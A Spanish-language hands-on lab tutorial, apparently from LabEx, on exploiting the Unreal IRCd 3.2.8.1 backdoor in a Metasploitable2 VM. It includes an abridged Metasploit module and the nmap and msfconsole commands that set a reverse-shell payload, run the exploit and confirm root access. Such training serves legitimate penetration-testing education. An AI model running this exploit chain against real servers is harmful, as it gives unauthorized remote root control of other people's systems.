Explotación de la vulnerabilidad de Unreal IRCd con Nmap y Metasploit

CiberseguridadBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderemos a explotar el servicio Unreal IRCd en la máquina objetivo Metasploitable2 alojada en la plataforma LabEx. Comenzaremos comprendiendo la vulnerabilidad presente en el servicio Unreal IRCd y luego realizaremos un escaneo de vulnerabilidades utilizando Nmap. Tras identificar el servicio vulnerable, aprovecharemos el framework Metasploit para explotar la vulnerabilidad y obtener una shell remota en la máquina objetivo. Finalmente, validaremos el éxito de la explotación ejecutando comandos en el sistema comprometido.

Comprender la vulnerabilidad de Unreal IRCd e iniciar el entorno de experimentación

La versión 3.2.8.1 de Unreal IRCd contiene una vulnerabilidad de puerta trasera (CVE-2010-2075) que permite a atacantes remotos ejecutar código arbitrario en el sistema afectado. La vulnerabilidad reside en la macro DEBUG3_DOLOG_SYSTEM, la cual incluye código malicioso externo que puede ser aprovechado por un atacante.

Información relevante:

El módulo de Metasploit para explotar esta vulnerabilidad:

Aquí tienes una breve descripción del módulo de Metasploit:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Ahora iniciarás la máquina de ataque (contenedor Kali Linux) y la máquina objetivo (máquina virtual Metasploitable2) para el experimento.

  1. Abre una terminal xfce en la máquina host de LabEx e inicia el objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2

Espera a que la máquina objetivo inicie; puede tardar entre 1 y 3 minutos.

  1. Prueba la conectividad con la máquina objetivo haciendo ping:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

  1. Inicia el contenedor de Kali Linux y accede al entorno bash ejecutando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro del contenedor Kali, prueba la conexión de red con la máquina objetivo:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

Ahora, tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puedes comenzar con las pruebas de penetración.

Nota: Si sales accidentalmente del bash actual, el contenedor Kali se detendrá automáticamente. Puedes ejecutar docker run -ti --network host b5b709a49cd5 bash nuevamente en el host para iniciar un nuevo contenedor Kali y entrar al bash para continuar con el experimento.

Realizar el escaneo de vulnerabilidades

En este paso, realizaremos un escaneo de vulnerabilidades en la máquina objetivo para identificar puertos abiertos y servicios ejecutándose en ellos. Utilizaremos la potente herramienta Nmap (Network Mapper) para este propósito.

  1. Inicia la consola de Metasploit en el contenedor Kali Linux:
cd ~
msfconsole
  1. Dentro de la consola de Metasploit, utiliza el comando nmap para escanear la máquina objetivo:
nmap -sV -T4 192.168.122.102

La opción -sV habilita la detección de versiones para los puertos abiertos, y -T4 establece la política de tiempo en un nivel agresivo (1-5, donde un valor mayor es más rápido).

La salida debería mostrar el puerto 6667 abierto ejecutando el servicio unreal ircd.

Presiona Ctrl+D para salir de la consola de Metasploit y luego comienza la inspección

Explotar la vulnerabilidad de Unreal IRCd

Ahora que hemos identificado el servicio vulnerable Unreal IRCd ejecutándose en el puerto 6667, podemos proceder a explotarlo utilizando el framework Metasploit.

  1. Primero, si no estás en la consola de Metasploit, deberías iniciarla:
cd ~
msfconsole
  1. En la consola de Metasploit, busca el módulo unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Carga el módulo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Configura el host objetivo:
set RHOST 192.168.122.102
  1. Configura un payload de reverse shell para el módulo:
set PAYLOAD cmd/unix/reverse
  1. Configura la dirección IP del host Kali que recibirá la reverse shell:
set LHOST 192.168.122.1
  1. Ejecuta el exploit:
exploit

Si el exploit tiene éxito, deberías obtener una shell remota en la máquina objetivo. Si Metasploit indica que se ha abierto una sesión de shell de comandos, puedes continuar con los comandos de validación en la shell.

Presiona Ctrl+D para salir de la consola de Metasploit y luego comienza la inspección

Validar la explotación

Para validar que la explotación fue exitosa, podemos ejecutar comandos en la shell remota obtenida en el paso anterior.

  1. Primero, si no estás en la consola de Metasploit, deberías iniciarla:
cd ~
msfconsole
  1. Verifica el usuario actual con el comando whoami:
whoami
  1. Verifica el nombre de host con el comando hostname:
hostname
  1. Verifica la dirección IP con el comando ifconfig:
ifconfig

Si la salida muestra root como usuario actual, metasploitable como nombre de host y la dirección IP coincide con la de la máquina objetivo (192.168.122.102), se confirma que la explotación fue exitosa y que has obtenido el control total sobre el sistema objetivo.

Presiona Ctrl+D para salir de la consola de Metasploit y luego comienza la inspección

Resumen

En este laboratorio, aprendimos sobre la vulnerabilidad de Unreal IRCd y cómo explotarla utilizando el framework Metasploit. Comenzamos comprendiendo la vulnerabilidad y su impacto, luego realizamos un escaneo de vulnerabilidades para identificar el servicio afectado. Tras encontrar el servicio Unreal IRCd ejecutándose en el puerto 6667, utilizamos el módulo de Metasploit adecuado para explotar la vulnerabilidad y obtener acceso remoto a la máquina objetivo. Finalmente, validamos el éxito de nuestra explotación ejecutando comandos en el sistema comprometido. Este laboratorio proporcionó experiencia práctica en análisis de vulnerabilidades, técnicas de explotación y validación post-explotación, habilidades esenciales para hackers éticos y profesionales de la ciberseguridad.